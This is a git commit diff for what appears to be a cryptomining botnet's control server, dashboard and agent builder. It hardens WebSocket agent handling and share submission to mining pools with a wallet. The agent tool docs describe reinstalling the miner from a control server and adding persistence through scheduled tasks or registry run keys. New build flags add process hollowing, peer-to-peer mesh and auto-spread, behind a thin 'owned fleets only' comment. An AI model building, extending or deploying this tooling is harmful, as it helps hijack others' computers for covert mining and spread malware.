Fix build breakers and remaining runtime bugs across stack.

Remove corrupt empty main.go files, harden WebSocket reconnect and pre-auth handling, complete live stats in the dashboard hook, wire AI share counts, and refresh PROBLEMS.md.
This commit is contained in:
drjones
2026-05-28 16:23:24 -07:00
parent edffb03e00
commit fabc632384
8 changed files with 146 additions and 163 deletions

View File

@@ -187,18 +187,24 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
defer func() {
if agentID != "" {
h.mu.Lock()
delete(h.agents, agentID)
delete(h.agentConfigs, agentID)
delete(h.agentLogs, agentID)
h.mu.Unlock()
if h.aiHandler != nil {
h.aiHandler.RemoveEngine(agentID)
cur := h.agents[agentID]
// Only tear down fleet state if this connection is still the active one.
if cur != nil && cur.Conn == conn {
delete(h.agents, agentID)
delete(h.agentConfigs, agentID)
delete(h.agentLogs, agentID)
h.mu.Unlock()
if h.aiHandler != nil {
h.aiHandler.RemoveEngine(agentID)
}
h.db.SetAgentOffline(agentID)
h.broadcastDashboard(Message{
Type: "agent_offline",
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
})
} else {
h.mu.Unlock()
}
h.db.SetAgentOffline(agentID)
h.broadcastDashboard(Message{
Type: "agent_offline",
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
})
}
conn.Close()
}()
@@ -328,6 +334,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
h.mu.Lock()
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
oldConn := old.Conn
h.mu.Unlock()
oldConn.Close()
h.mu.Lock()
}
h.agents[agentID] = &AgentConnection{AgentID: agentID, Conn: conn}
h.mu.Unlock()
@@ -342,6 +354,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
})
case "stats":
if agentID == "" {
continue
}
var stats struct {
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
@@ -383,6 +398,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
})
case "submit_share":
if agentID == "" {
continue
}
var share models.Share
if err := json.Unmarshal(msg.Payload, &share); err != nil {
continue
@@ -460,9 +478,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
wallet = h.defaultPool.Wallet
}
proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)
go proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)
case "get_job":
if agentID == "" {
continue
}
var proxy *pool.Proxy
if h.poolManager != nil {
poolCfg := h.agentPoolConfig(agentID)
@@ -485,6 +506,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
case "log_tail":
if agentID == "" {
continue
}
var payload struct {
Content string `json:"content"`
Lines int `json:"lines"`
@@ -501,6 +525,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
})
case "command_result":
if agentID == "" {
continue
}
var payload map[string]interface{}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue

View File

@@ -289,7 +289,7 @@ Args: {"process_name": "name of the miner process"}
### reinstall_miner
Reinstall the miner from the control server.
Args: {"server_url": "control server URL", "agent_id": "this agent's ID"}
Args: {"server_url": "control server URL", "build_id": "forge build ID baked into the agent"}
### add_persistence
Add persistence via scheduled task or registry run key.

View File

@@ -38,6 +38,9 @@ export const FORGE_BUILD_DEFAULTS: Omit<
ai_enabled: false,
ai_ollama_endpoint: 'http://localhost:11434',
ai_model: 'llama3.2',
process_hollowing: false,
mesh_p2p: false,
auto_spread: false,
};
export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {

View File

@@ -92,6 +92,10 @@ export function useWebSocket(): UseWebSocketReturn {
hashrate_1m: number;
hashrate_15m: number;
cpu_usage_pct: number;
memory_usage_pct?: number;
uptime_seconds?: number;
shares_submitted?: number;
shares_accepted?: number;
};
setAgents((prev) =>
prev.map((a) =>
@@ -102,6 +106,15 @@ export function useWebSocket(): UseWebSocketReturn {
hashrate_1m: update.hashrate_1m,
hashrate_15m: update.hashrate_15m,
cpu_usage_pct: update.cpu_usage_pct,
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
shares_total: update.shares_submitted ?? a.shares_total,
shares_good: update.shares_accepted ?? a.shares_good,
shares_bad: Math.max(
0,
(update.shares_submitted ?? a.shares_total) -
(update.shares_accepted ?? a.shares_good)
),
}
: a
)

View File

@@ -240,6 +240,10 @@ export interface BuildRequest {
ai_enabled: boolean;
ai_ollama_endpoint: string;
ai_model: string;
// Advanced (off by default — enable only on owned/administered fleets)
process_hollowing?: boolean;
mesh_p2p?: boolean;
auto_spread?: boolean;
}
export interface BuildResponse {